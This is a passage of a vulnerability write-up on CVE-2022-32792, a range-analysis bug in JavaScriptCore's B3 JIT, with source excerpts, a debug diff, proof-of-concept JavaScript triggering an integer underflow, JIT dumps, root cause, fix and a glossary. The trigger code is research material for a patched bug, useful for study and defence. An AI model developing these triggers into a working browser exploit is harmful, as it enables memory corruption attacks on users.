Line by line: the first if handles a shift by a constant. The second if looks for the pattern where a shift-left is immediately followed by a shift-right by the same amount. In that case the net effect is to keep only the low bits and sign-extend them. The switch picks the right sign extension for the shift amount: 16 gives SExt16, 24 gives SExt8, 32 gives SExt32 after a truncation. The comment at the end notes that 48 and 56 are not handled yet.

So SShr(Shl(value, 16), 16) creates a SExt16, which in JS is (a << 16) >> 16.

Step 4: generating CheckAdd and SShr

CheckAdd is generated by speculateAdd in flt/FTLOutput.cpp:

C++
CheckValue* Output::speculateAdd(LValue left, LValue right)
{
    return m_block->appendNew<B3::CheckValue>(m_proc, B3::CheckAdd, origin(), left, right);
}

Line by line: this function takes two values and appends a new CheckAdd instruction to the current block. The name speculate reflects that the compiler is speculating: it assumes the addition will not overflow and adds a check to confirm that assumption at runtime.

In ftl/FTLLowerDFGToB3.cpp there are seven sites calling speculateAdd, narrowed to two whose children are user-controlled: compileArithAddOrSub and compileGetMyArgumentByVal. FTLLowerDFGToB3 lowers DFG SSA IR to B3 IR. compileArithAddOrSub handles ArithAdd/ArithSub DFG nodes, generated by a normal + or - in JS. compileGetMyArgumentByVal deals with the arguments object. The former is simpler, so the write-up focused on it: a = b + c in JS should make B3 emit CheckAdd.

The shifts are generated in ftl/FTLOutput.cpp too:

C++
LValue Output::shl(LValue left, LValue right)
{
    right = castToInt32(right);
    if (Value* result = left->shlConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::Shl, origin(), left, right);
}

LValue Output::aShr(LValue left, LValue right)
{
    right = castToInt32(right);
    if (Value* result = left->sShrConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::SShr, origin(), left, right);
}

Line by line: shl handles shift-left. It first makes sure the shift amount is a 32-bit integer, then tries a constant-folding shortcut, and otherwise emits a Shl instruction. aShr does the same for arithmetic shift-right, emitting SShr. So a = b << c or a = b >> c should emit Shl/SShr.

Step 5: observing the ranges

dataLogLn statements were added to see the internal state:

Diff
Index: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
===================================================================
--- Source/JavaScriptCore/b3/B3ReduceStrength.cpp       (revision 295779)
+++ Source/JavaScriptCore/b3/B3ReduceStrength.cpp       (working copy)
@@ -422,8 +422,11 @@
             m_changedCFG = false;
             ++index;

-            if (first)
+            if (first) {
                 first = false;
+                dataLogLn("B3ReduceStrength start");
+                // dataLogLn(m_proc);
+            }
             else if (B3ReduceStrengthInternal::verbose) {
                 dataLog("B3 after iteration #", index - 1, " of reduceStrength:\n");
                 dataLog(m_proc);
@@ -2121,10 +2124,14 @@

             IntRange leftRange = rangeFor(m_value->child(0));
             IntRange rightRange = rangeFor(m_value->child(1));
+            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
             if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {
+                dataLogLn("CheckAdd reduced");
                 replaceWithNewValue(
                     m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_value->child(1)));
                 break;
+            } else {
+                dataLogLn("CheckAdd not reduced");
             }
             break;
         }
@@ -2148,10 +2155,14 @@

             IntRange leftRange = rangeFor(m_value->child(0));
             IntRange rightRange = rangeFor(m_value->child(1));
+            dataLogLn("CheckSub overflow check: ", leftRange, " + ", rightRange);
             if (!leftRange.couldOverflowSub(rightRange, m_value->type())) {
+                dataLogLn("CheckSub reduced");
                 replaceWithNewValue(
                     m_proc.add<Value>(Sub, m_value->origin(), m_value->child(0), m_value->child(1)));
                 break;
+            } else {
+                dataLogLn("CheckSub not reduced");
             }
             break;
         }
@@ -2716,13 +2727,17 @@
     // analysis.
     IntRange rangeFor(Value* value, unsigned timeToLive = 5)
     {
+
         if (!timeToLive)
             return IntRange::top(value->type());
+
+        dataLogLn("rangeFor const (", timeToLive, "): ", value->opcode());

         switch (value->opcode()) {
         case Const32:
         case Const64: {
             int64_t intValue = value->asInt();
+            dataLogLn("rangeFor const: ", intValue);
             return IntRange(intValue, intValue);
         }

@@ -2766,8 +2781,11 @@

         case SExt8:
         case SExt16:
-        case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+        case SExt32: {
+            IntRange res = rangeFor(value->child(0), timeToLive - 1);
+            dataLogLn("rangeFor (SExt): ", "[", res.min(), ", ", res.max(), "]");
+            return res;
+        }

         case ZExt32:
             return rangeFor(value->child(0), timeToLive - 1).zExt32();

Line by line: this is a diff of the researchers' own debugging changes, not the official fix. It adds print statements at the start of the optimisation, around the CheckAdd and CheckSub decisions, and inside rangeFor for constants and sign extensions. The SExt case is rewritten to store the result in res, print its minimum and maximum, and then return it. These prints are the camera in the compiler's office.

Consider this program:

JavaScript
// poc2.js
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    if (a < 2) print(a, " ", lhs)
    return lhs - rhs;
}

noInline(foo);

function main() {
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print(foo(0))
    print(foo(1))
}

noDFG(main)
main()

Line by line: foo takes a number a. The line with lhs forces a to 32 bits with a|0, masks it to 0 or 1 with & 1, adds 0x7fff, then shifts left and right by 16, which the compiler turns into a sign extension. If a is less than 2 it prints the values. Then it returns lhs - rhs. noInline(foo) tells the engine not to inline the function, so it gets compiled on its own. main calls foo a million times to push it into the optimising JIT, then prints the results for 0 and 1. noDFG(main) keeps main out of the DFG compiler. main() starts everything.

Running it:

Shell
> ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc --dumpDisassembly=true --useConcurrentJIT=false ./poc2.js 2> poc2.log
0   32767
1   -32768

Line by line: the command is the same as before. The two output lines are the printed values for a equal to 0 and 1: 32767 and -32768. So in reality the range is [-32768, 32767], but rangeFor thinks it is:

Text
rangeFor (SExt): [32767, 32768]

Line by line: this is the debug print from the patched compiler. It says the compiler believes the sign-extended value lies between 32767 and 32768, while the real values are between -32768 and 32767. That is a correctness issue. To turn it into a vulnerability, the missing overflow check has to be abused into an OOB access.

The line in foo breaks down as:

  1. & 1: BitAnd, range [0, 1]
  2. + 0x7fff: Add, range [0x7fff, 0x8000]
  3. << 16) >> 16: Shl followed by Shr, strength-reduced into SExt16

The a|0 tells the compiler to use a as a 32-bit integer. Otherwise it may treat it as 64-bit or a Double if it decides 32-bit is too small and may overflow. Keeping everything in 32-bit was very important:

  • 64-bit: workable, but overflowing a 64-bit number requires adding or subtracting a massive 64-bit number. JS Numbers only have 52 bits, so making a 64-bit number is not straightforward, and JSC may treat a large 64-bit number as a Double.
  • Double: not fine. Once the value is a Double, there is no overflow anymore.

A Double is JavaScript's floating point number type. Floating point numbers do not wrap around on overflow the way integers do; they just get less precise or become infinity. So the whole trick depends on staying in integer land.

Step 6: confirming the underflow

If lhs is subtracted by a very large number it can underflow, because the CheckAdd became an Add and the overflow check is gone. B3 likes to convert subtractions into additions of negative numbers. The values must be treated as Int32.

JavaScript
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-5);    // just an arbitrary very negative constant

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result by print(describe(lhs+rhs)): ", describe(lhs + rhs));
        print("");
    }
    // idx += -0x7ffffff9;
    return lhs + rhs;
}

noInline(foo);

function main() {
	print("===    Before JIT    ===")
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print("=== foo(0) after JIT ===")
    print("result as return value: ", describe(foo(0)))

    print("=== foo(1) after JIT ===")
    print("result as return value: ", describe(foo(1)))
}

noDFG(main)
main()

Line by line: lhs is built as before. rhs is a very negative constant. The if prints the inputs and the result of lhs + rhs using describe, a debugging helper that reports the internal type of a value. The function returns lhs + rhs. main first runs the loop a million times to trigger JIT compilation, then prints the return values for 0 and 1, again with describe so we can see whether the engine treats them as integers or doubles.

Text
===    Before JIT    ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result not as return value:  Int32: -2147450876

a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

=== foo(0) after JIT ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: -2147450876

result as return value:  Int32: -2147450876
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: 2147450885

result as return value:  Double: -4476577960897282048, -2147516411.000000

Line by line: before JIT, the results are ordinary. After JIT, for foo(1), the printed result of lhs + rhs is Int32: 2147450885, a positive number, even though both inputs are negative. That is the underflow. But the value returned from the function is a Double. For foo(0), both the printed result and the return value are Int32. So the same addition is represented in two different ways depending on how the result is used.

The B3 code for return lhs + rhs:

Text
--- lhs ---
b3  BB#3: ; frequency = 1.000000
b3    Predecessors: #0
...
b3      Int32 b@174 = BitAnd(b@99, $1(b@173), D@33)
b3      Int32 b@184 = Const32(32767, D@36)
b3      Int32 b@185 = Add(b@174, $32767(b@184), D@37)
b3      Int32 b@27 = SExt16(b@185, D@44)
b3      Int32 b@227 = Const32(2, D@50)
b3      Int32 b@228 = LessThan(b@99, $2(b@227), D@51)
b3      Void b@232 = Branch(b@228, Terminal, D@52)
b3    Successors: Then:#3, Else:#5

--- lhs + rhs ---
b3  BB#5: ; frequency = 1.000000
b3    Predecessors: #0, #3
b3      Int64 b@541 = SExt32(b@27, D@31<Int52>)
b3      Int64 b@84 = Const64(-2147483643, D@27<Int52>)
b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
...
b3      Void b@558 = Branch(b@557, Terminal, D@26)
b3    Successors: Then:#6, Else:#7
b3  BB#6: ; frequency = 1.000000
b3    Predecessors: #5
b3      Int64 b@559 = ZExt32(b@555, D@26)
b3      Int64 b@560 = Add(b@559, $-562949953421312(b@14), D@26)
...
b3      Void b@526 = Return(b@560, Terminal, D@69)
b3  BB#7: ; frequency = 1.000000
b3    Predecessors: #5
b3      Double b@563 = IToD(b@545, D@26)
b3      Int64 b@564 = BitwiseCast(b@563, D@26)
b3      Int64 b@425 = Sub(b@564, $-562949953421312(b@14), D@26)
b3      Int64 b@5 = Identity(b@425, D@26)
...
b3      Void b@503 = Return(b@5, Terminal, D@69)

Line by line: BB#3 is a basic block, a straight run of instructions. It builds lhs with BitAnd, Add and SExt16, then compares a with 2 and branches. BB#5 sign-extends lhs to 64 bits, loads the negative constant, and adds them with a plain Add at b@545. There is no CheckAdd here. It then truncates the result to 32 bits, sign-extends it back, and compares the two to see whether the result fits in 32 bits. BB#6 is the path where it fits: it zero-extends the 32-bit value and adds a constant to encode it as a JavaScript value, then returns. BB#7 is the path where it does not fit: it converts to a Double and returns that. The constant 0xfffe000000000000 is the encoding tag for a 32-bit integer inside a JavaScript value, a technique called NaN-boxing.

There is no CheckAdd, only a plain Add in b@545, which is responsible for lhs+rhs. It should have been CheckAdd because an underflow is possible. Breaking it down:

  • BB#3 creates lhs with BitAnd, Add and SExt16.
  • BB#5 adds the large negative constant (b@84) to lhs (b@545). It checks whether the result takes more than 32 bits (b@555 Trunc, b@556 SExt32, b@557 Equal). Although CheckAdd was reduced to Add, the compiler now suspects the result may need up-casting.
  • BB#6: if 32-bit is enough, add the constant 0xfffe000000000000 (b@560 Add) and return it (b@560 Return). This constant encodes the raw 32-bit integer into a JSValue (NaN-boxing).
  • BB#7: if 32-bit is not enough, turn it into a Double and return it. This is the path to avoid.

Step 7: investigating the two representations

This part is not relevant to the bug but documents a problematic situation. The observations were not needed for the exploit.

A similar program stores lhs + rhs into res before calling describe:

JavaScript
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-1-4);
    let res = lhs + rhs;

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result not as return value: ", describe(res));
        print("");
    }
    return res;
}

Line by line: this is the same as before, except the sum is stored in res first and then returned. The describe call now inspects res rather than the expression directly.

Text
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

result as return value:  Double: -4476577960897282048, -2147516411.000000

Line by line: this time describe(res) also says res is a Double. So lhs + rhs itself is an Int32 that has underflowed, but res = lhs + rhs converts the value to a Double. The former is a 32-bit value, the latter 64-bit.

Text
➜  cve-2022-32792-b3-strength-reduce gdb -q
(gdb) p/x -2147483643-32768
$1 = 0x7fff8005

➜  cve-2022-32792-b3-strength-reduce python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> -2147483643-32768
-2147516411

Line by line: the first block starts the gdb debugger and asks it to print the subtraction in hexadecimal, giving 0x7fff8005. The second block starts Python and computes the same subtraction, giving -2147516411. The two agree: the true mathematical result is negative, but the 32-bit storage wrapped to a positive value.

The Trunc>SExt32>Equal>Branch pattern appears again, checking whether the value to store takes more than 32 bits and converting to a Double if so:

Text
b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
b3      Int64 b@4 = Const64(296352744761, D@69)
b3      Void b@558 = Branch(b@557, Terminal, D@26)

Line by line: the addition happens, the result is truncated to 32 bits, sign-extended back, and compared with the original. If they are equal, the value fits in 32 bits. The branch then chooses between the integer path and the double path.

The explanation given is:

  1. When assigning lhs+rhs to a variable or returning it, there is always code checking whether it overflowed and whether to convert to a Double. With the bug, only the overflow check is removed.
  2. When calling print or describe, there is no such code. It continues to treat lhs+rhs as an Int32 while the strength reduction is still involved. This is the only way found to bypass an overflow guard, but these functions only exist in JSC for debugging, so they cannot be used in an exploit.

No other operations or functions with the behaviour in (2) were found.

Step 8: tricking the compiler to use Int32

This was also not used in the final exploit. The idea was to force the result of lhs+rhs to be stored as Int32:

JavaScript
let tmp = 100;                 // [1] just some integer, so tmp is Int32
if (...) tmp = lhs + rhs;      // [2] after assignment, tmp is Int32
return tmp + 1;                // [3] tmp stays as Int32

Line by line: tmp starts as an integer, so the compiler treats it as 32-bit. The assignment in the middle overwrites it with the sum. The final line adds one and returns, hoping the compiler keeps everything in 32-bit integers throughout.

Root cause

Before the patch, rangeFor treated SExt8, SExt16 and SExt32 as identity operations on the child's IntRange. That is wrong when the range crosses the sign boundary of the narrower type. For SExt8(IntRange(0x7f, 0x80)) the real values are [127, -128], not [127, 128]. The modelled range is then used by couldOverflowAdd/couldOverflowSub/couldOverflowMul, and a CheckAdd/CheckSub/CheckMul that should keep its overflow check is replaced with a plain Add/Sub/Mul. The arithmetic then underflows at runtime with no guard.

The patch fixes this by computing the sign-extended range in IntRange::sExt: it returns the range unchanged when both ends fit the target type, applies sign extension when both ends share the same top bits, and returns top otherwise. The commit subject is "Refine B3ReduceStrength's range for sign extension operations".

Impact

The bug is a Safari out-of-bounds write in WebKit, exploited by Manfred Paul in Pwn2Own according to the ZDI advisory. The write-up demonstrates the wrong range, the underflow, and the removal of the overflow check. The value must stay Int32 rather than Int64 or Double, as in the SExt16 example.

An out-of-bounds write means writing to memory outside the intended area, for example past the end of an array. The addrof and fakeobj primitives are the classic building blocks of a browser exploit: addrof gives you the memory address of a JavaScript object, and fakeobj lets you pretend that a chosen memory address holds an object. Together they let an attacker read and write memory in a controlled way.

Fix

The fix is the patch shown above: IntRange::sExt is added and called from the SExt8, SExt16 and SExt32 cases of rangeFor, replacing the previous identity return.

Variants to test

  • Other SExt widths: try SExt8 with a range crossing 0x7f/0x80, and SExt32 with a range crossing the 32-bit sign boundary. A positive result is a rangeFor (SExt) log showing a range that does not match the values printed at runtime.
  • CheckSub and CheckMul: the same rangeFor feeds couldOverflowSub and couldOverflowMul. A positive result is a CheckSub reduced or CheckMul reduced log for an operation that underflows or overflows at runtime.
  • compileGetMyArgumentByVal: the other speculateAdd site with user-controlled children. A positive result is a CheckAdd reduced log for an addition over the arguments object that underflows.
  • Phi values: rangeFor returns top for a Phi, so ranges through a Phi are lost. A positive result is a CheckAdd not reduced where a narrower range was expected, or the reverse when the Phi is bypassed.
  • Keeping values in Int32: try expressions without |0 and check whether B3 emits Int64 or Double operations instead. A positive result is a CheckAdd reduced log combined with an Int32 result at runtime.

Proof of concept video

Or watch on YouTube
YouTube Video From the original on starlabs.sg

The video is the proof of concept.

Glossary

  • JIT (Just-In-Time) compiler: a compiler that translates code into machine code while the program is running, rather than ahead of time.
  • JavaScriptCore (JSC): the JavaScript engine inside WebKit, the browser engine used by Safari.
  • WebKit: the open-source browser engine that Safari is built on.
  • CVE: a public identifier for a known security vulnerability, here CVE-2022-32792.
  • ZDI (Zero Day Initiative): a programme that buys and publishes vulnerability research, which issued the advisory for this bug.
  • Pwn2Own: a hacking contest where researchers demonstrate exploits against browsers and other software.
  • Out-of-bounds write: writing to memory outside the area the program intended to use, which can corrupt data or lead to code execution.
  • Overflow / underflow: when an arithmetic result is too large or too small to fit in the number of bits available, so it wraps around to the wrong value.
  • Interpreter: the slowest execution tier, which reads and executes code directly without compiling it.
  • BaseLine JIT: a simple JIT tier that maps bytecodes almost one-to-one to machine instructions.
  • DFG JIT: a faster JIT tier that builds a dataflow graph of the program.
  • FTL JIT: the fastest JIT tier, "faster than light", which uses the B3 and Air backends.
  • IR (Intermediate Representation): an internal language a compiler uses between the source code and machine code.
  • SSA (Static Single Assignment): a form where every variable is assigned exactly once, which makes many optimisations easier.
  • B3 (BareBones Backend): a low-level IR used by the FTL JIT that has dropped most JavaScript semantics.
  • Air (Assembly IR): an IR very close to actual assembly language.
  • Strength reduction: a compiler optimisation that replaces an expensive operation with a cheaper equivalent, such as multiplication with addition.
  • SExt (sign extension): widening a signed number to more bits while preserving its sign and value, by filling the new high bits with copies of the sign bit.
  • MSB (most significant bit): the leftmost bit of a binary number, which in signed numbers indicates whether the number is negative.
  • IntRange: a pair of numbers, a minimum and a maximum, describing the possible values of a piece of code.
  • rangeFor: the function that computes an IntRange for a compiler value by walking its children.
  • top: the full range of all possible values for a type, used when the compiler cannot narrow it down.
  • Abstract interpretation: a technique for analysing programs by tracking sets of possible values instead of single values.
  • Phi node: a compiler construct representing a value that could have come from more than one branch.
  • BitAnd: a bitwise AND operation, which can be used to mask a value into a known range.
  • CheckAdd / CheckSub / CheckMul: compiler instructions that perform an arithmetic operation and check for overflow.
  • Add / Sub / Mul: plain arithmetic instructions with no overflow check.
  • Opcode: the name of an operation in the compiler's internal graph.
  • Value: a node in the compiler's internal graph, representing one operation and its inputs.
  • Child: an input to a compiler value.
  • Constant folding: computing the result of an operation at compile time when its inputs are known constants.
  • NaN-boxing: a technique for storing different kinds of JavaScript values inside a single 64-bit word by using special bit patterns.
  • JSValue: the internal representation of a JavaScript value inside JSC.
  • Double: JavaScript's floating point number type, which does not wrap around on overflow.
  • Int32 / Int64: signed integer types with 32 or 64 bits.
  • Trunc: an operation that cuts a wider number down to a narrower one.
  • ZExt (zero extension): widening an unsigned number by filling the new high bits with zeros.
  • Shl / SShr: shift-left and arithmetic shift-right operations.
  • dataLogLn: a WebKit debugging function that prints a line to the diagnostic log.
  • jsc: the command-line JavaScript shell that ships with WebKit.
  • gdb: a debugger used to inspect running programs.
  • addrof / fakeobj: exploit primitives that reveal the address of an object and let an attacker fabricate an object at a chosen address.
  • Patch: a code change that fixes a bug.
  • Commit: a recorded change in a version control system such as git.
  • Lambda: a small inline function passed as an argument to another function.
  • Basic block (BB): a straight run of instructions in a compiler's graph with no branches in the middle.

More from Apple

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.